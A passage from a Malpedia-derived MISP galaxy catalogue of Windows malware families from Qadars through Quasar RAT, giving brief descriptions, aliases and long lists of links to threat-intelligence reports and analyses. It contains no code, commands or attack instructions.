https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel

Qadars

The tag is: *misp-galaxy:malpedia="Qadars"*

Qadars is also known as:

Table 4859. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars
https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.welivesecurity.com/2013/12/18/qadars-a-banking-trojan-with-the-netherlands-in-its-sights/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.johannesbader.ch/2016/04/the-dga-of-qadars/
https://securityintelligence.com/an-analysis-of-the-qadars-trojan/
https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/

QakBot

QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.

The tag is: *misp-galaxy:malpedia="QakBot"*

QakBot is also known as:

- Oakboat
- Pinkslipbot
- Qbot
- Quakbot

Table 4860. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-countermeasures/
https://www.justice.gov/d9/2023-08/23mj4251_application_redacted.pdf
https://medium.com/walmartglobaltech/qbot-testing-malvertising-campaigns-3e2552cbc69a
https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917
https://www.reliaquest.com/blog/qbot-black-basta-ransomware/
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-analyzing-a-fowl-banking-trojan-part-1/
https://www.youtube.com/watch?v=gk7fCC5RiAQ

https://blog.minerva-labs.com/a-new-datoploader-delivers-qakbot-trojan

https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html

https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken—the-resurgence-of-the-emotet-botnet-malw.html

https://github.com/m4now4r/Presentations/blob/main/Unveiling%20Qakbot%3A%20Exploring%20one%20of%20the%20Most%20Active%20Threat%20Actors/Unveiling%20Qakbot_Exploring%20one%20of%20the%20Most%20Active%20Threat%20Actors.pdf

https://twitter.com/tylabs/status/1462195377277476871

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf

https://www.malwarology.com/posts/1-qakbot-strings-obfuscation/

https://censys.com/a-beginners-guide-to-tracking-malware-infrastructure/

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf

https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight

https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike

https://www.securityhomework.net/articles/qakbot_ccs_prioritization_and_new_record_types/qakbot_ccs_prioritization_and_new_record_types.php

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution

https://blog.eclecticiq.com/qakbot-malware-used-unpatched-vulnerability-to-bypass-windows-os-security-feature

https://www.linkedin.com/posts/zayedaljaberi_hunting-recent-qakbot-malware-activity-6903498764984606720-2Gl4

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://malcat.fr/blog/writing-a-qakbot-50-config-extractor-with-malcat/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.techtimes.com/articles/274190/20220412/qbot-botnet-deploys-malware-payloads-through-malicious-windows-installers.htm

https://www.tidalcyber.com/blog/identifying-and-defending-against-qakbots-evolving-ttps

https://twitter.com/*alex_il*/status/1384094623270727685

https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot

https://www.trendmicro.com/de_de/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html

https://www.youtube.com/watch?v=M22c1JgpG-U

https://twitter.com/redcanary/status/1334224861628039169

https://www.netresec.com/?page=Blog&month=2023-03&post=QakBot-C2-Traffic

https://sansorg.egnyte.com/dl/ALlvwK6fp0

https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot

https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/

https://www.intrinsec.com/egregor-prolock/

https://hatching.io/blog/reversing-qakbot

https://www.team-cymru.com/post/visualizing-qakbot-infrastructure-part-ii-uncharted-territory

https://www.trendmicro.com/en_us/research/21/k/qakbot-loader-returns-with-new-techniques-and-tools.html

https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise

https://experience.mandiant.com/trending-evil-2/p/1

https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf

https://www.fortinet.com/blog/threat-research/new-variant-of-qakbot-spread-by-phishing-emails

https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/

https://twitter.com/embee_research/status/1592067841154756610?s=20

https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf

https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/

https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/

https://www.circl.lu/pub/tr-64/

https://quosecgmbh.github.io/blog/grap_qakbot_navigation.html

https://www.youtube.com/watch?v=4I0LF8Vm7SI

https://news.sophos.com/en-us/2023/02/06/qakbot-onenote-attacks/

https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex

https://experience.mandiant.com/trending-evil/p/1

https://www.zscaler.com/blogs/security-research/tracking-15-years-qakbot-development

https://web.archive.org/web/20130530033754/http://www.symantec.com/connect/blogs/qakbot-steals-2gb-confidential-data-week

https://web.archive.org/web/20120206174705/http://blogs.rsa.com/rsafarl/businesses-beware-qakbot-spreads-like-a-worm-stings-like-a-trojan/

https://www.elastic.co/security-labs/qbot-configuration-extractor

https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/

https://twitter.com/elisalem9/status/1381859965875462144

https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decrypting-qakbots-encrypted-registry-keys/

https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/

http://blog.opensecurityresearch.com/2011/12/intro-to-reversing-w32pinkslipbot.html

https://www.youtube.com/watch?v=iB1psRMtlqg

https://www.justice.gov/usao-cdca/pr/qakbot-malware-disrupted-international-cyber-takedown

https://www.bleepingcomputer.com/news/security/qbot-phishing-uses-windows-calculator-sideloading-to-infect-devices/

https://labs.k7computing.com/index.php/qakbot-returns/

https://securityintelligence.com/news/qbot-malware-using-windows-defender-antivirus-lure/

https://blog.quosec.net/posts/grap_qakbot_strings/

https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf

https://www.zscaler.com/blogs/security-research/rise-qakbot-attacks-traced-evolving-threat-techniques

https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-3/

https://www.malwarology.com/posts/3-qakbot-process-injection/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta

https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/

https://redcanary.com/blog/intelligence-insights-november-2021/

https://invokere.com/posts/2024/02/automating-qakbot-malware-analysis-with-binary-ninja/

https://www.malwarology.com/2022/04/qakbot-series-string-obfuscation/

https://www.youtube.com/watch?v=utqaGgnb5yM

https://www.team-cymru.com/post/visualizing-qakbot-infrastructure

https://malwareandstuff.com/upnp-messing-up-security-since-years/

https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://www.youtube.com/watch?v=0WNPjG8HjOw

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.malwarology.com/2022/04/qakbot-series-api-hashing/

https://www.splunk.com/en_us/blog/security/from-macros-to-no-macros-continuous-malware-improvements-by-qakbot.html

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/

https://blog.quosec.net/posts/grap_qakbot_navigation/

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://kienmanowar.wordpress.com/2024/04/24/quicknote-qakbot-5-0-decrypt-strings-and-configuration/

https://blog.talosintelligence.com/2016/04/qbot-on-the-rise.html

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://perception-point.io/insights-into-an-excel-4-0-macro-attack-using-qakbot-malware

https://www.malwarology.com/posts/2-qakbot-conf-extraction/

https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html

https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/

https://isc.sans.edu/diary/rss/26862

https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://www.zscaler.com/blogs/security-research/hibernating-qakbot-comprehensive-study-and-depth-campaign-analysis

https://syrion.me/malware/qakbot-bb-extractor/

https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html

https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer

https://www.youtube.com/watch?v=1gExOpNqXYo

https://zw01f.github.io/malware%20analysis/qakbot/

https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf

https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/

https://blog.vincss.net/re021-qakbot-analysis-dangerous-malware-has-been-around-for-more-than-a-decade/

https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/

https://www.youtube.com/watch?v=OCRyEUhiEyw

https://drive.google.com/file/d/1mO2Zb-Q94t39DvdASd4KNTPBD8JdkyC3/view

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://documents.trendmicro.com/assets/pdf/Technical-Brief---The-Prelude-to-Ransomware-A-Look-into-Current-QAKBOT-Capabilities-and-Activity.pdf

https://krebsonsecurity.com/2023/08/u-s-hacks-qakbot-quietly-removes-botnet-infections/

https://threatresearch.ext.hp.com/detecting-ta551-domains/

https://unit42.paloaltonetworks.com/tutorial-qakbot-infection/

https://blog.talosintelligence.com/qakbot-affiliated-actors-distribute-ransom/

https://www.bitsight.com/blog/emotet-botnet-rises-again

https://www.dsih.fr/article/5020/comment-qbot-revient-en-force-avec-onenote.html

https://www.malwarology.com/2022/04/qakbot-series-process-injection/

https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware

https://redcanary.com/blog/intelligence-insights-december-2021

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://www.youtube.com/watch?v=kifEqpRoZns

https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/demystifying-qbot-malware.html

https://n1ght-w0lf.github.io/malware%20analysis/qbot-banking-trojan/

https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/

https://www.socinvestigation.com/qbot-spreads-via-lnk-files-detection-response/

https://quosecgmbh.github.io/blog/grap_qakbot_strings.html

https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/

https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs

https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html

https://www.elastic.co/de/security-labs/qbot-malware-analysis

https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern

https://github.com/binref/refinery/blob/master/tutorials/tbr-files.v0x06.Qakbot.Decoder.ipynb

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://www.group-ib.com/blog/prolock_evolution

https://cofense.com/blog/are-darkgate-and-pikabot-the-new-qakbot/

https://twitter.com/TheDFIRReport/status/1361331598344478727

https://socprime.com/blog/qbot-malware-detection-old-dog-new-tricks/

https://securelist.com/qakbot-technical-analysis/103931/

https://blog.morphisec.com/qakbot-qbot-maldoc-two-new-techniques

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware

https://www.malwarology.com/2022/04/qakbot-series-configuration-extraction/

https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-1/

https://web.archive.org/web/20110909041410/http://www.symantec.com/connect/blogs/qakbot-data-thief-unmasked-part-i

https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7

https://twitter.com/Corvid_Cyber/status/1455844008081641472

https://raw.githubusercontent.com/NtQuerySystemInformation/Malware-RE-papers/main/Qakbot%20report.pdf

https://www.youtube.com/watch?v=WcFfgEZwEgM

https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf

https://www.group-ib.com/blog/egregor

https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89

https://intel471.com/blog/conti-emotet-ransomware-conti-leaks

https://isc.sans.edu/diary/rss/28728

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://web.archive.org/web/20110406012907/http://www.symantec.com/connect/blogs/qakbot-data-thief-unmasked-part-ii

https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/

https://www.trellix.com/en-us/about/newsroom/stories/research/qakbot-evolves-to-onenote-malware-distribution.html

https://x.com/bryceabdo/status/1790457784099614776

https://asec.ahnlab.com/en/44662/

https://blog.lumen.com/qakbot-retool-reinfect-recycle/

https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources

https://embeeresearch.io/practical-queries-for-malware-infrastructure-part-3/

https://seguranca-informatica.pt/a-taste-of-the-latest-release-of-qakbot

https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf

https://www.atomicmatryoshka.com/post/malware-headliners-qakbot

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/

https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/

http://www.secureworks.com/research/threat-profiles/gold-lagoon

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf

https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor

https://embee-research.ghost.io/practical-queries-for-malware-infrastructure-part-3/

https://micahbabinski.medium.com/html-smuggling-detection-5adefebb6841

https://web.archive.org/web/20151026140427/https://www.symantec.com/security_response/writeup.jsp?docid=2009-050707-0639-99

https://twitter.com/kienbigmummy/status/1460537501676802051

https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf

https://blog.reversinglabs.com/blog/spotting-malicious-excel4-macros

https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/

https://d01a.github.io/pikabot/

https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf

https://madlabs.dsu.edu/madrid/blog/2021/04/30/qbot-analyzing-php-proxy-scripts-from-compromised-web-server/

https://research.checkpoint.com/2020/exploring-qbots-latest-attack-methods/

https://www.justice.gov/d9/2023-08/23mj4244_application_redacted.pdf

https://blog.talosintelligence.com/following-the-lnk-metadata-trail

https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://blog.cyble.com/2023/02/17/the-many-faces-of-qakbot-malware-a-look-at-its-diverse-distribution-methods/

https://docs.velociraptor.app/blog/2023/2023-04-05-qakbot/

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/

https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/

https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta

https://isc.sans.edu/diary/rss/28448

https://twitter.com/Unit42_Intel/status/1461004489234829320

https://www.bleepingcomputer.com/news/security/fujifilm-shuts-down-network-after-suspected-ransomware-attack/

https://www.bleepingcomputer.com/news/security/qbot-needs-only-30-minutes-to-steal-your-credentials-emails/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

http://contagiodump.blogspot.com/2010/11/template.html

https://www.fbi.gov/news/stories/fbi-partners-dismantle-qakbot-infrastructure-in-multinational-cyber-takedown

https://media.scmagazine.com/documents/225/bae_qbot_report_56053.pdf

https://blog.talosintelligence.com/2019/05/qakbot-levels-up-with-new-obfuscation.html

https://www.youtube.com/watch?v=cmJpRncrAp0

https://www.secureworks.com/research/threat-profiles/gold-lagoon

https://www.spamhaus.org/news/article/819/qakbot-the-takedown-and-the-remediation

https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf

https://research.loginsoft.com/threat-research/blog-maximizing-threat-detections-of-qakbot-with-osquery/

https://twitter.com/embee_research/status/1592067841154756610?s=20&t=hEALPAWr1LIt9pXcVpxjRQ

https://www.elastic.co/security-labs/qbot-malware-analysis

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/

https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf

https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf

https://0xthreatintel.medium.com/reversing-qakbot-tlp-white-d1b8b37ad8e7

https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/

https://embee-research.ghost.io/shodan-censys-queries/

https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf

https://news.sophos.com/en-us/2022/03/10/qakbot-injects-itself-into-the-middle-of-your-conversations/

https://embeeresearch.io/shodan-censys-queries/

https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/

https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/

https://syrion.me/qakbot-bb-extractor/

https://www.rapid7.com/blog/post/2023/04/18/automating-qakbot-detection-at-scale-with/

https://www.secureworks.com/blog/law-enforcement-takes-down-qakbot

https://lab52.io/blog/bypassing-qakbot-anti-analysis-tactics/

https://embee-research.ghost.io/advanced-threat-intel-queries-catching-83-qakbot-servers-with-regex-censys-and-tls-certificates/

https://twitter.com/ChouchWard/status/1405168040254316547

https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html

https://www.bleepingcomputer.com/news/security/qbot-malware-switches-to-new-windows-installer-infection-vector/

https://www.malwarology.com/posts/4-qakbot-api-hashing/

https://www.trendmicro.com/en_us/research/21/l/staging-a-quack-reverse-analyzing-fileless-qakbot-stager.html

https://securelist.com/cve-2024-30051/112618

https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies

https://www.f5.com/labs/articles/threat-intelligence/qbot-banking-trojan-still-up-to-its-old-tricks

https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis

https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html

https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/
https://blog.group-ib.com/prometheus-tds
https://blog.vincss.net/2021/03/re021-qakbot-dangerous-malware-has-been-around-for-more-than-a-decade.html
https://sublime.security/blog/detecting-qakbot-wsf-attachments-onenote-files-and-generic-attack-surface-reduction
https://www.shadowserver.org/news/qakbot-botnet-disruption/
https://www.silentpush.com/blog/malicious-infrastructure-as-a-service
https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html
https://bin.re/blog/the-dga-of-qakbot/
https://www.um.edu.mt/library/oar/handle/123456789/76802
https://github.com/0xThiebaut/PCAPeek/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://isc.sans.edu/forums/diary/XLSB+Files+Because+Binary+is+Stealthier+Than+XML/28476/
https://isc.sans.edu/diary/rss/28568
https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot

QHost

According to F-Secure, this is a network worm with backdoor capabilities, which spreads itself under Win32 systems. The worm was reported in-the-wild in July-August, 2000. The worm itself is a Win32 executable file and about 120K long, written in MS Visual C++.

The tag is: *misp-galaxy:malpedia="QHost"*

QHost is also known as:

- Tolouge

Table 4861. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost

QtBot

The tag is: *misp-galaxy:malpedia="QtBot"*

QtBot is also known as:

- qtproject

Table 4862. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot
https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/

QuantLoader

The tag is: *misp-galaxy:malpedia="QuantLoader"*

QuantLoader is also known as:

Table 4863. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://intel471.com/blog/a-brief-history-of-ta505
https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://twitter.com/Arkbird_SOLG/status/1458973883068043264
https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/

QuanPinLoader

According to ESET Research, this is a loader that has the Mandarin Chinese symbol (yang in the Pinyin transliteration) as an icon in the resources. It also contains the string SampleIMESimplifiedQuanPin.txt, which suggests that it is probably based on the open-source project Sample IME, a TSF-based input method editor demo.

The tag is: *misp-galaxy:malpedia="QuanPinLoader"*

QuanPinLoader is also known as:

Table 4864. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quan_pin_loader
https://www.welivesecurity.com/en/eset-research/gotta-fly-lazarus-targets-uav-sector/

QUARTERRIG

A stager used by APT29 to download and run CobaltStrike. Here, MUSKYBEAT refers to the in-memory dropper component, while STATICNOISE is the final payload / downloader.

The tag is: *misp-galaxy:malpedia="QUARTERRIG"*

QUARTERRIG is also known as:

- MUSKYBEAT
- STATICNOISE

Table 4865. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig
https://www.gov.pl/attachment/6f51bb1a-3ad2-461c-a16d-408915a56f77
https://go.recordedfuture.com/hubfs/reports/cta-2023-0727-1.pdf
https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing

Quasar RAT

Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.

The tag is: *misp-galaxy:malpedia="Quasar RAT"*

Quasar RAT is also known as:

- CinaRAT
- QuasarRAT
- Yggdrasil

Table 4866. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat
https://thehackernews.com/2025/03/blind-eagle-hacks-colombian.html
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader

https://securelist.com/apt-trends-report-q1-2021/101967/

https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html

https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage

https://asec.ahnlab.com/en/31089/

https://www.nimanthadeshappriya.com/post/rats-on-the-island

https://www.genians.co.kr/en/blog/threat_intelligence/android

https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign

https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf

https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar

https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

https://blog.rootshell.be/2022/02/11/sans-isc-cinarat-delivered-through-html-id-attributes/

https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf

https://securelist.com/gitvenom-campaign/115694/

https://www.botconf.eu/wp-content/uploads/formidable/2/Botconf2022-19-FaouCoteCyr.pdf

https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/

https://blog.morphisec.com/cinarat-resurfaces-with-new-evasive-tactics-and-techniques

https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa

https://www.antiy.cn/research/notice&report/research_report/20201228.html

https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://embee-research.ghost.io/hunting-quasar-rat-shodan

https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign

https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations

https://dfir.ch/posts/asyncrat_quasarrat/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://www.zscaler.com/blogs/research/shellreset-rat-spread-through-macro-based-documents-using-applocker-bypass

https://therecord.media/chinese-hackers-linked-to-months-long-attack-on-taiwanese-financial-sector/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html

https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.zscaler.com/it/blogs/security-research/blindeagle-targets-colombian-insurance-sector-blotchyquasar

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://medium.com/cycraft/china-implicated-in-prolonged-supply-chain-attack-targeting-taiwan-financial-sector-264b6a1c3525

https://www.genians.co.kr/blog/threat_intelligence/apt-attacks-martial-law

https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments

https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

https://blog.morphisec.com/syk-crypter-discord

https://lab52.io/blog/another-cyber-espionage-campaign-in-the-russia-ukrainian-ongoing-cyber-attacks/

